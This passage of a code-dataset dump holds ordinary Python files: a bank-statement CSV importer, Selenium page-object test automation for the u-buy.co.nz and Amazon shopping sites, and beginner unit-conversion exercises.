row, type):\n\t\tif len(row) == 0 or row[0] == 'Datum' or 'Transaktioner' in row[0]:\n\t\t\traise TypeError('Not a transaction')\n\t\tif 'Reservation' in row[1]:\n\t\t\traise TypeError('Reservation')\n\t\tself.date = datetime.date(int(row[0][:4]), int(row[0][5:7]), int(row[0][-2:]))\n\n\t\tif type == 'nordea':\n\t\t\tself.transaction = row[1]\n\t\t\tself.category = row[2]\n\t\t\tself.amount = self.money_to_float(row[3])\n\t\t\ttry:\n\t\t\t\tself.total = self.money_to_float(row[4])\n\t\t\texcept ValueError:\n\t\t\t\tself.total = 0\n\t\telif type == 'mittkort':\n\t\t\tself.transaction = row[2]\n\t\t\tself.category = ''\n\t\t\tself.amount = self.money_to_float(row[4])\n\t\t\tself.total = self.money_to_float(row[5])\n\t\t\n\t\tif self.date.isoformat() == pl[type]['date'] and self.transaction == pl[type]['transaction'] and self.amount == pl[type]['amount']:\n\t\t\traise Exception('Already imported')\n\t\n\t# Return list of formatted data\n\tdef return_row(self):\n\t\treturn [datetime.date.strftime(self.date, DATE_FORMAT),\n\t\t\t\tself.transaction,\n\t\t\t\t\"{:.2f}\".format(self.amount)]\n\n\t# Return monetary value as float\n\tdef money_to_float(self, s):\n\t\treturn float(s.replace(' ', '').replace('kr', '').replace('.', '').replace(',', '.'))\n\n# Global variables\nUSER_DIRECTORY = os.path.expanduser('~')\nFILE_DIRECTORY = '/Downloads'\nDATE_FORMAT = '%d/%m/%Y'\nPLIST_FILENAME = 'bank-format.plist'\nTEMP_FILENAME = 'bank-format-temp'\n\n# Load continuity\ntry:\n\tfp = open(PLIST_FILENAME, 'rb')\n\tpl = plistlib.load(fp)\n\tfp.close()\nexcept:\n\tpl = dict()\n\n# Run main function\nif __name__ == \"__main__\":\n\tmain()" } ]
1
mustafacorekci/Test-Automations
https://github.com/mustafacorekci/Test-Automations
1d3eb6db1bd1aaccd4044af843cb69d59dd1b53e
7be367e7927d26e19ba9cee2c60ed0ab3f123f1a
0b3dd96e94c15de8fadaff70d4db7a96e68baa9e
refs/heads/main
2023-04-21T16:25:36.642743
2021-05-12T22:37:38
2021-05-12T22:37:38
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6294008493423462, "alphanum_fraction": 0.636195182800293, "avg_line_length": 31.3799991607666, "blob_id": "e1c8601e27cb39fba47624f88999404bdb5fd8b3", "content_id": "b8a4eeecfb0c3593b5f396fa6ba20bca4bbbf396", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1619, "license_type": "no_license", "max_line_length": 74, "num_lines": 50, "path": "/POM_Automation/test/test_ubuynz.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from happy_path_ubuynz.test.setup_ubuynz import Setup\nfrom base.base_test import *\nimport unittest\n\n\[email protected]_corekci\[email protected]\n@decorator_loader(error_logger)\nclass UbuynzHappyPath(BaseTest):\n \"\"\" Test case is:\n\n 1. Go to given website\n 2. Click login page button\n 3. Try to logged in\n 4. Go to random category page\n 5. Select one random product\n 6. Select product size\n 7. Add product to cart\n 8. Go to cart page\n 9. Go to checkout page if isUserLoggedIn rule returns true\n 10. Delete all items from cart and tear down\n\n \"\"\"\n def setUp(self):\n Setup.__init__(self)\n\n def test_ubuynz(self):\n self.home_page_ubuynz.go_to_login_page()\n self.login_page_ubuynz.login()\n self.home_page_ubuynz.go_to_home_page()\n self.home_page_ubuynz.go_to_category_page()\n self.category_page_ubuynz.click_random_product()\n while self.product_page_ubuynz.product_page_load_and_stock_info():\n self.home_page_ubuynz.go_to_home_page()\n self.home_page_ubuynz.go_to_category_page()\n self.category_page_ubuynz.click_random_product()\n self.product_page_ubuynz.add_to_cart()\n self.home_page_ubuynz.go_to_cart()\n self.cart_page_ubuynz.go_to_checkout()\n self.cart_page_ubuynz.back_to_cart()\n self.cart_page_ubuynz.remove_items_from_cart()\n self.assertTrue(self.cart_page_ubuynz.is_empty_cart_present(),\n 'No \"Cart is not empty!')\n\n def tearDown(self):\n self.quit_driver()\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.6370370388031006, "alphanum_fraction": 0.6378600597381592, "avg_line_length": 32.75, "blob_id": "17a59654fa5865d052e37a1f2cdd8cb54386a910", "content_id": "29a06c5cf3fc1cb9724c2e4a2d9799254ea1933a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3645, "license_type": "no_license", "max_line_length": 103, "num_lines": 108, "path": "/POM_Automation/base/page_base.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "import random\nfrom selenium.common.exceptions import TimeoutException, ElementClickInterceptedException, \\\n ElementNotInteractableException, NoSuchElementException, StaleElementReferenceException\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as ec\n\n\nclass BaseClass(object):\n \"\"\"Base class to initialize the base page that will be called from all pages\"\"\"\n\n def __init__(self, driver):\n self.driver = driver\n self.wait = WebDriverWait(self.driver, 30)\n\n def wait_for_element(self, selector):\n \"\"\"\n Wait for element to present\n :param str selector: locator of the element to find\n\n \"\"\"\n try:\n return self.wait.until(ec.element_to_be_clickable(selector))\n except TimeoutException:\n return self.wait.until(ec.presence_of_element_located(selector))\n\n def wait_till_element_disappears(self, selector):\n \"\"\"\n Wait for element to disappears\n :param str selector: locator of the element to find\n\n \"\"\"\n return self.wait.until(ec.invisibility_of_element_located(selector))\n\n def switch_tab(self, tab_index):\n \"\"\"\n Switch tab from the current tab\n :param int tab_index: index numbers of the selecting tab\n\n \"\"\"\n self.driver.switch_to_window(self.driver.window_handles[tab_index])\n\n def hover(self, selector):\n \"\"\"\n Hover over the selected element\n :param str selector: locator of the element to find\n\n \"\"\"\n hover_element = self.wait_for_element(selector)\n hover = ActionChains(self.driver).move_to_element(hover_element)\n hover.perform()\n\n def random_number(first_value, second_value):\n \"\"\"\n Return random number between parameters\n :param int first_value: begining value of the range\n :param int second_value: last value of the range\n\n \"\"\"\n return random.randint(first_value, second_value)\n\n def element_exists(self, selector):\n \"\"\"\n Return true if element present and false if element absent\n :param str selector: locator of the element to find\n\n \"\"\"\n try:\n self.wait.until(ec.presence_of_element_located(selector))\n return True\n except TimeoutException:\n return False\n\n def set_cookie(self, name, value):\n \"\"\"\n Sets a cookie in given variables\n :param str name: name of the cookie\n :param str value: value of the given cookie name\n\n \"\"\"\n cookie = {'name': name, 'value': value, 'path': '/'}\n self.driver.add_cookie(cookie)\n\n def execute_script_click(self, selector):\n \"\"\"\n Try click from script code\n :param str selector: locator of the element to click\n\n \"\"\"\n try:\n self.wait_for_element(selector).click()\n except ElementClickInterceptedException or ElementNotInteractableException or TimeoutException:\n element = self.wait_for_element(selector)\n self.driver.execute_script(\"\"\"\n arguments[0].click();\n \"\"\", element)\n\n def is_element_present(self, locator):\n \"\"\"\n Return True if element present and False if element absent\n :param locator: locator of the element to find\n \"\"\"\n try:\n self.driver.find_element(*locator)\n except (NoSuchElementException, StaleElementReferenceException):\n return False\n return True\n" }, { "alpha_fraction": 0.7283950448036194, "alphanum_fraction": 0.7283950448036194, "avg_line_length": 45.28571319580078, "blob_id": "c8acbbb7e767298d9903bafbc7df7980fdc0b493", "content_id": "55530f8762f34b38b4d752be87ed3c3cb27d67bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 972, "license_type": "no_license", "max_line_length": 75, "num_lines": 21, "path": "/POM_Automation/test/setup_ubuynz.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from happy_path_ubuynz.page.home_page import HomePage\nfrom happy_path_ubuynz.page.category_page import CategoryPage\nfrom happy_path_ubuynz.page.cart_page import CartPage\nfrom happy_path_ubuynz.page.login_page import LoginPage\nfrom happy_path_ubuynz.page.product_page import ProductPage\nfrom happy_path_ubuynz.base.page_base import BaseClass\nfrom selenium import webdriver\n\n\nclass Setup:\n def __init__(self):\n TEST_URL = 'https://www.u-buy.co.nz/'\n self.driver = webdriver.Chrome()\n self.driver.maximize_window()\n self.methods = BaseClass(self.driver)\n self.home_page_ubuynz = HomePage(self.driver, self.methods)\n self.login_page_ubuynz = LoginPage(self.driver, self.methods)\n self.category_page_ubuynz = CategoryPage(self.driver, self.methods)\n self.product_page_ubuynz = ProductPage(self.driver, self.methods)\n self.cart_page_ubuynz = CartPage(self.driver, self.methods)\n self.driver.get(TEST_URL)\n" }, { "alpha_fraction": 0.6542810797691345, "alphanum_fraction": 0.6575121283531189, "avg_line_length": 28.850000381469727, "blob_id": "8f29fba08b8e6f5ba7167f9459e44470268b73b0", "content_id": "f631c48ee0704f1fbe9beeafdbbc22ab4c87ce13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 619, "license_type": "no_license", "max_line_length": 83, "num_lines": 20, "path": "/AmazonTest/productPage.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\r\n\r\naddToList = \"add-to-wishlist-button-submit\"\r\nviewList = \"WLHUC_viewlist\"\r\ndeleteButton = \"(//span/a[@class = 'a-link-normal a-declarative g-visible-js'])[1]\"\r\n\r\n\r\nclass ProductPage:\r\n def __init__(self, driver):\r\n self.driver = driver\r\n\r\n def addToListClick(self):\r\n self.driver.find_element(By.ID, addToList).click()\r\n\r\n def viewListClick(self):\r\n self.driver.find_element(By.ID, viewList).click()\r\n\r\n def deleteItemClick(self):\r\n self.driver.implicitly_wait(5)\r\n self.driver.find_element(By.XPATH, deleteButton).click()\r\n\r\n" }, { "alpha_fraction": 0.6285714507102966, "alphanum_fraction": 0.6330826878547668, "avg_line_length": 26.70833396911621, "blob_id": "82a5e96c0597d0ea4fd5434b1c6f1831126a96c0", "content_id": "866f09f39bee1b5175483116f4f0df81342a32af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 665, "license_type": "no_license", "max_line_length": 74, "num_lines": 24, "path": "/POM_Automation/page/category_page.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\nimport random\nimport time\n\n\nclass CategoryPage:\n \"\"\"CategoryPage is selecting one random product from category page.\"\"\"\n\n PRODUCT = (By.XPATH, \"//div[@class = 'product-image']//a\")\n\n def __init__(self, driver, methods):\n self.driver = driver\n self.methods = methods\n\n def click_random_product(self):\n \"\"\"\n Navigate to random product\n\n \"\"\"\n self.methods.wait_for_element(self.PRODUCT)\n product_list = self.driver.find_elements(*self.PRODUCT)\n product = product_list[random.randint(0, len(product_list) - 1)]\n product.click()\n time.sleep(2)\n" }, { "alpha_fraction": 0.6305220723152161, "alphanum_fraction": 0.6345381736755371, "avg_line_length": 30.125, "blob_id": "307f9ffefb2276dc1fb148f90c1f0295910c06dd", "content_id": "44a9bcdc81af02a3038b1d76a89c4b6a9d5cbee7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 747, "license_type": "no_license", "max_line_length": 88, "num_lines": 24, "path": "/POM_Automation/page/login_page.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\n\n\nclass LoginPage:\n \"\"\"Website login page to user logged in.\"\"\"\n\n MAIL = \"mail\"\n PASSWORD = \"password\"\n USERNAME_TEXT_BOX = (By.ID, \"login.username\")\n PASSWORD_TEXT_BOX = (By.ID, \"login.password\")\n SIGN_IN_BUTTON = (By.CSS_SELECTOR, \".btn.btn-primary.mt-4.w-60\")\n\n def __init__(self, driver, methods):\n self.driver = driver\n self.methods = methods\n\n def login(self):\n \"\"\"\n Fills login information\n\n \"\"\"\n self.methods.wait_for_element(self.USERNAME_TEXT_BOX).send_keys(self.MAIL)\n self.methods.wait_for_element(self.PASSWORD_TEXT_BOX).send_keys(self.PASSWORD)\n self.methods.wait_for_element(self.SIGN_IN_BUTTON).click()\n" }, { "alpha_fraction": 0.5925480723381042, "alphanum_fraction": 0.6003605723381042, "avg_line_length": 28.714284896850586, "blob_id": "03a5b05edac8540338967dc64e3707f819a1336c", "content_id": "01a171acc63b686a1e9d540f6b0c92ef02a76d15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1664, "license_type": "no_license", "max_line_length": 82, "num_lines": 56, "path": "/POM_Automation/page/home_page.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\nfrom random import randint\nimport time\n\n\nclass HomePage:\n \"\"\"HomePage for go to login page, go to category page\"\"\"\n\n TEST_URL = \"https://www.u-buy.co.nz/\"\n HOME_PAGE_SELECTOR = (By.XPATH, \"//a[@class = 'navbar-brand desktop-hidden']\")\n LOGIN_DROPDOWN_BTN = (By.CLASS_NAME, \"dropdown-toggle\")\n LOGIN_BTN = (By.XPATH, \"(//a[@class = 'dropdown-item'])[1]\")\n CATEGORY = (By.CSS_SELECTOR, \".img-fluid.p-20\")\n CART_PAGE_ICON = (By.CSS_SELECTOR, \".header-cart.pl-3.pr-0\")\n VIEW_CART_BTN = (By.CSS_SELECTOR, \".btn.btn-primary.w-80.d-flex\")\n\n def __init__(self, driver, methods):\n self.driver = driver\n self.methods = methods\n\n def go_to_home_page(self):\n \"\"\"\n Navigates to home page\n\n \"\"\"\n time.sleep(1)\n self.methods.wait_for_element(self.HOME_PAGE_SELECTOR).click()\n\n def go_to_login_page(self):\n \"\"\"\n Navigates to login page\n\n \"\"\"\n self.methods.hover(self.LOGIN_DROPDOWN_BTN)\n self.methods.execute_script_click(self.LOGIN_BTN)\n\n def go_to_category_page(self):\n \"\"\"\n Go to random a category\n\n \"\"\"\n time.sleep(1)\n self.methods.wait_for_element(self.CATEGORY)\n random_value = self.driver.find_elements(*self.CATEGORY)\n rand_value = random_value[randint(0, len(random_value) - 1)]\n rand_value.click()\n time.sleep(1)\n\n def go_to_cart(self):\n \"\"\"\n Navigates to cart page\n\n \"\"\"\n self.methods.execute_script_click(self.CART_PAGE_ICON)\n time.sleep(1)\n self.methods.execute_script_click(self.VIEW_CART_BTN)\n" }, { "alpha_fraction": 0.6370967626571655, "alphanum_fraction": 0.6421371102333069, "avg_line_length": 34.74074172973633, "blob_id": "362c83166851ffe205e7edbdb79ce2d9b9bc7e3a", "content_id": "76d22cab758118af27f96c1c32c53f06fc1f55b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 994, "license_type": "no_license", "max_line_length": 96, "num_lines": 27, "path": "/AmazonTest/searchPage.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\r\nimport time\r\n\r\nsearchTextbox = \"twotabsearchtextbox\"\r\nsearchButton = \"//input[@class = 'nav-input' and @value = 'Go'] \"\r\nsecondPageButton = \"//li[@class = 'a-normal']//a[text() = '2']\"\r\nproductPage = \"(//h2[@class = 'a-size-mini a-spacing-none a-color-base s-line-clamp-2']//a)[3]\"\r\n\r\n\r\nclass SearchPage:\r\n def __init__(self, driver):\r\n self.driver = driver\r\n\r\n def enterSearchText(self, text):\r\n self.driver.find_element(By.ID, searchTextbox).send_keys(text)\r\n assert (self.driver.find_element(By.ID, searchTextbox)).get_attribute(\"value\") == text,\\\r\n \"Aynı Değil ! ! !\"\r\n\r\n def clickSearch(self):\r\n self.driver.find_element(By.XPATH, searchButton).click()\r\n\r\n def clickSecondPage(self):\r\n self.driver.find_element(By.XPATH, secondPageButton).click()\r\n\r\n def productClick(self):\r\n self.driver.implicitly_wait(5)\r\n self.driver.find_element(By.XPATH, productPage).click()\r\n" }, { "alpha_fraction": 0.5930972099304199, "alphanum_fraction": 0.5930972099304199, "avg_line_length": 25.214284896850586, "blob_id": "e4c8124fd8057c6aad31eaa8d6a4732f188a445d", "content_id": "c7c372f914d7f25d332069dfdbdd5f82f0f206f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1101, "license_type": "no_license", "max_line_length": 69, "num_lines": 42, "path": "/POM_Automation/page/cart_page.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\n\n\nclass CartPage:\n \"\"\"CartPage is making cart empty.\"\"\"\n\n GO_TO_CHECKOUT = (By.CLASS_NAME, \"overview-btn\")\n BACK_TO_CART_ICON = (By.ID, \"item_qty\")\n REMOVE_ITEM = (By.XPATH, \"//a[@class = 'action']\")\n EMPTY_CART = (By.CLASS_NAME, \"empty-cart-page\")\n\n def __init__(self, driver, methods):\n self.driver = driver\n self.methods = methods\n\n def go_to_checkout(self):\n \"\"\"\n Navigates the checkout page\n\n \"\"\"\n self.methods.wait_for_element(self.GO_TO_CHECKOUT).click()\n\n def back_to_cart(self):\n \"\"\"\n Navigates the come back to the cart page\n\n \"\"\"\n self.methods.wait_for_element(self.BACK_TO_CART_ICON).click()\n\n def is_empty_cart_present(self):\n \"\"\"\n Check if there is any product left on the cart page\n\n \"\"\"\n return self.methods.is_element_present(self.EMPTY_CART)\n\n def remove_items_from_cart(self):\n \"\"\"\n Deletes products from the cart page\n\n \"\"\"\n self.methods.wait_for_element(self.REMOVE_ITEM).click()\n" }, { "alpha_fraction": 0.68727707862854, "alphanum_fraction": 0.68727707862854, "avg_line_length": 29.148147583007812, "blob_id": "8a6dac6d59c9cd0a1ad80b74e4de9bce385292cb", "content_id": "11303301fe54a9df1b1e0371da7e4bb439c02798", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 841, "license_type": "no_license", "max_line_length": 78, "num_lines": 27, "path": "/AmazonTest/loginPage.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\r\n\r\nloginOpenButton = \"nav-link-accountList\"\r\nemailTextbox = \"ap_email\"\r\npasswordTextbox = \"ap_password\"\r\nloginEmailButton = \"continue\"\r\nloginPasswordButton = \"signInSubmit\"\r\n\r\n\r\nclass LoginPage:\r\n def __init__(self, driver):\r\n self.driver = driver\r\n\r\n def openLoginPage(self):\r\n self.driver.find_element(By.ID, loginOpenButton).click()\r\n\r\n def enterMail(self, email):\r\n self.driver.find_element(By.ID, emailTextbox).send_keys(email)\r\n\r\n def clickEmailLogin(self):\r\n self.driver.find_element(By.ID, loginEmailButton).click()\r\n\r\n def enterPassword(self, password):\r\n self.driver.find_element(By.ID, passwordTextbox).send_keys(password)\r\n\r\n def clickPasswordLogin(self):\r\n self.driver.find_element(By.ID, loginPasswordButton).click()\r\n" }, { "alpha_fraction": 0.7815699577331543, "alphanum_fraction": 0.7827076315879822, "avg_line_length": 23.852941513061523, "blob_id": "b6b2f866d821e2b02029bf2f0c6a10a054e47e1d", "content_id": "ac9627cbf5aefb29ea0f9fbc55152868d0347f9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 881, "license_type": "no_license", "max_line_length": 75, "num_lines": 34, "path": "/AmazonTest/main.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium import webdriver\r\nfrom SeleniumAmazonTest.loginPage import LoginPage\r\nfrom SeleniumAmazonTest.searchPage import SearchPage\r\nfrom SeleniumAmazonTest.productPage import ProductPage\r\nimport time\r\n\r\ndriverPath = \"C:/Users/musta/OneDrive/Masaüstü/PythonRepo/chromedriver.exe\"\r\ndriver = webdriver.Chrome(driverPath)\r\ndriver.maximize_window()\r\ndriver.get(\"https://www.amazon.com\")\r\n\r\n# Login Page\r\nlogin = LoginPage(driver)\r\nlogin.openLoginPage()\r\nlogin.enterMail(\"mail\")\r\nlogin.clickEmailLogin()\r\nlogin.enterPassword(\"password\")\r\nlogin.clickPasswordLogin()\r\n\r\n# Search Page\r\nsearch = SearchPage(driver)\r\nsearch.enterSearchText(\"samsung\")\r\nsearch.clickSearch()\r\nsearch.clickSecondPage()\r\nsearch.productClick()\r\n\r\n# Product Page\r\nproduct = ProductPage(driver)\r\nproduct.addToListClick()\r\nproduct.viewListClick()\r\nproduct.deleteItemClick()\r\n\r\ntime.sleep(1)\r\ndriver.quit()\r\n" }, { "alpha_fraction": 0.6050583720207214, "alphanum_fraction": 0.6070038676261902, "avg_line_length": 27.55555534362793, "blob_id": "29748e3a1b6cd0d6ef1299f7f70bb22bacd26004", "content_id": "9fd10d44749c08e286e53246f363d09eab629702", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1028, "license_type": "no_license", "max_line_length": 78, "num_lines": 36, "path": "/POM_Automation/page/product_page.py", "repo_name": "mustafacorekci/Test-Automations", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\nimport time\n\n\nclass ProductPage:\n \"\"\"Product page to select size and add to cart.\"\"\"\n\n ADD_TO_CART_BTN = (By.ID, \"add-to-cart-btn\")\n OUT_OF_STOCK = (By.CLASS_NAME, \"out-of-stock\")\n CONTINUE_SHOPPING = (By.CLASS_NAME, \"continue-shipping\")\n\n def __init__(self, driver, methods):\n self.driver = driver\n self.methods = methods\n\n def product_page_load_and_stock_info(self):\n \"\"\"\n Product stock control\n\n \"\"\"\n stock_info = self.methods.element_exists(self.OUT_OF_STOCK)\n add_to_cart_button = self.methods.element_exists(self.ADD_TO_CART_BTN)\n if stock_info or not add_to_cart_button:\n return True\n else:\n return False\n\n def add_to_cart(self):\n \"\"\"\n Adds product to the cart page\n\n \"\"\"\n self.methods.wait_for_element(self.ADD_TO_CART_BTN).click()\n time.sleep(1)\n self.methods.execute_script_click(self.CONTINUE_SHOPPING)\n time.sleep(1)\n" } ]
12
EduarTeixeira/infosatc-lp-avaliativo-01
https://github.com/EduarTeixeira/infosatc-lp-avaliativo-01
742fd9efd460868cd8641e6b32a89922f4529156
c378b4b7896de3e3453f38bda98d5073ae682225
2e9ea81c55c5cd4b950857f698822ec087297ee1
refs/heads/main
2023-07-26T18:06:25.853876
2021-09-09T19:58:06
2021-09-09T19:58:06
402,515,784
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6901408433914185, "alphanum_fraction": 0.7112675905227661, "avg_line_length": 46.66666793823242, "blob_id": "1bbdc40e6129f36967d6534ee816933351e433dd", "content_id": "a08756d5740381efa76ee7bac94619537f22cdb8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 146, "license_type": "permissive", "max_line_length": 67, "num_lines": 3, "path": "/exercicio13.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "K = float(input(\"Digite uma distaância qualquer em quilômetros: \"))\nM = K / 1.61\nprint(\"Esta mesma distância em milhas é {} milhas\".format(M))" }, { "alpha_fraction": 0.6511628031730652, "alphanum_fraction": 0.6744186282157898, "avg_line_length": 42.33333206176758, "blob_id": "7053813050388dd45b0cbacf05d43d7ee9996d8e", "content_id": "5a627d6f2e4beec8a074e7a7df77aa195f6e9480", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 130, "license_type": "permissive", "max_line_length": 64, "num_lines": 3, "path": "/exercicio22.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "J = float(input(\"Digite o valor em um comprimento em Jardas: \"))\nM = 0.91 * J\nprint(\"Este mesmo valor em metros é {}m\".format(M))" }, { "alpha_fraction": 0.6620689630508423, "alphanum_fraction": 0.6965517401695251, "avg_line_length": 47.66666793823242, "blob_id": "12d0c33b3a01dcb78929aa787971a9a3c57491fd", "content_id": "05216377b5af2764bff3c3f4272d5b74ae03dab4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 147, "license_type": "permissive", "max_line_length": 68, "num_lines": 3, "path": "/exercicio26.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "M = float(input(\"Digite o valor em uma área em metros quadrados: \"))\nH = M * 0.0001\nprint(\"Este mesmo valor em Hectares é {} Hectares\".format(H))" }, { "alpha_fraction": 0.6589147448539734, "alphanum_fraction": 0.6899224519729614, "avg_line_length": 42.33333206176758, "blob_id": "fde0dfb503268f3ed706163d231b250565a62280", "content_id": "f27a993d005a0f0f75b43bd8c65b0e84348ad7ea", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 131, "license_type": "permissive", "max_line_length": 64, "num_lines": 3, "path": "/exercicio18.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "M = float(input(\"Digite um valor qualquer em metros cúbicos: \"))\nL = 1000 * M\nprint(\"Este mesmo valor em litros é {}L\".format(L))" }, { "alpha_fraction": 0.6382978558540344, "alphanum_fraction": 0.6879432797431946, "avg_line_length": 46.33333206176758, "blob_id": "0f6db67d6a7b5c1691f06758a22836a151a54e6a", "content_id": "bbc3a402f5cce3bcfaf2bf573df97d176b718a62", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 143, "license_type": "permissive", "max_line_length": 68, "num_lines": 3, "path": "/exercicio24.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "M = float(input(\"Digite o valor de uma área em metros quadrados: \"))\nA = M * 0.000247\nprint(\"Este mesmo valor em Acres é {} Acres\".format(A))" }, { "alpha_fraction": 0.6511628031730652, "alphanum_fraction": 0.6744186282157898, "avg_line_length": 42.33333206176758, "blob_id": "fc8f752c6f6365c2080afc60e6e1801dd9be7d30", "content_id": "3bdf30d02887cadcc5225d19efd586168fc3cbc1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 130, "license_type": "permissive", "max_line_length": 64, "num_lines": 3, "path": "/exercicio20.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "K = float(input(\"Digite o valor em uma massa em quilogramas: \"))\nL = K / 0.45\nprint(\"Este mesmo valor em Libras é {}L\".format(L))" }, { "alpha_fraction": 0.7088122367858887, "alphanum_fraction": 0.7375478744506836, "avg_line_length": 64.375, "blob_id": "fa4362b6073f020473d00af5f7aa627eec1b060c", "content_id": "4e31e722cc5a1ff5fd57a50f049f6215725c5bc7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 524, "license_type": "permissive", "max_line_length": 156, "num_lines": 8, "path": "/exercicio04.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "valor = float(input(\"Digite o valor do prêmio da loteria: \"))\nimposto = valor * 0.07\nvalornovo = valor - imposto\npremioprimeiro = round(valornovo * 0.46, 2)\npremiosegundo = round(valornovo * 0.32, 2)\npremioterceiro = round(valornovo * 0.22, 2)\nprint(\"O prêmio total foi de {}R$, o valor descontado ficou {}R$ e o imposto ficou {}R$\".format(valor,valornovo,imposto))\nprint(\"O primeiro ganhador ganhou {}R$, o segundo ganhador ganhou {} e o terceiro ganhador ganhou {}R$\".format(premioprimeiro,premiosegundo,premioterceiro))" }, { "alpha_fraction": 0.7320573925971985, "alphanum_fraction": 0.7320573925971985, "avg_line_length": 51.5, "blob_id": "eb0255268a5ab90a035eb246e210638a71caa4ae", "content_id": "ece628e99b88fafc0ba7452a157137af8142700f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 214, "license_type": "permissive", "max_line_length": 61, "num_lines": 4, "path": "/exercicio30.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "valorReal = float(input(\"Digite um valor em reais: \"))\ncotacao = float(input(\"Digite a cotação atual do dólar: \"))\nvalorDolar = valorReal / cotacao\nprint(\"Este mesmo valor em dólares é {}$\".format(valorDolar))" }, { "alpha_fraction": 0.6925287246704102, "alphanum_fraction": 0.7183908224105835, "avg_line_length": 48.85714340209961, "blob_id": "4126a3e401cd21126c57c123636ef8066d1618b3", "content_id": "36b30db94546cf324b5ff4cfad17cd39f5071734", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "permissive", "max_line_length": 85, "num_lines": 7, "path": "/exercicio03.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "altura = float(input(\"Digite a altura da parede que deseja pintar: \"))\ncomprimento = float(input(\"Digite o comprimento da parede que deseja pintar: \"))\narea = altura * comprimento\nlitros = area / 3\nqtdLatas = int(litros / 3.6)\nvalor = round(qtdLatas * 107.00, 2)\nprint(\"Você deverá comprar {} lata(s) e pagará {}R$ no total\".format(qtdLatas,valor))" }, { "alpha_fraction": 0.6708860993385315, "alphanum_fraction": 0.6962025165557861, "avg_line_length": 52, "blob_id": "5108af6d097f36b04ceec48c424bf2f3aa498c45", "content_id": "160ff1531c94e119e51ddf275fe5ae3f10ead04f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 160, "license_type": "permissive", "max_line_length": 73, "num_lines": 3, "path": "/exercicio07.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "F = float(input(\"Digite uma temperatura qualquer em graus Fahrenheit: \"))\nC = 5 * (F - 32)/9\nprint(\"Esta mesma temperatura em graus Celsius é {}°C\".format(C))" }, { "alpha_fraction": 0.6484375, "alphanum_fraction": 0.6640625, "avg_line_length": 42, "blob_id": "5d54937c8766c07c62841e0e461842470722e9fe", "content_id": 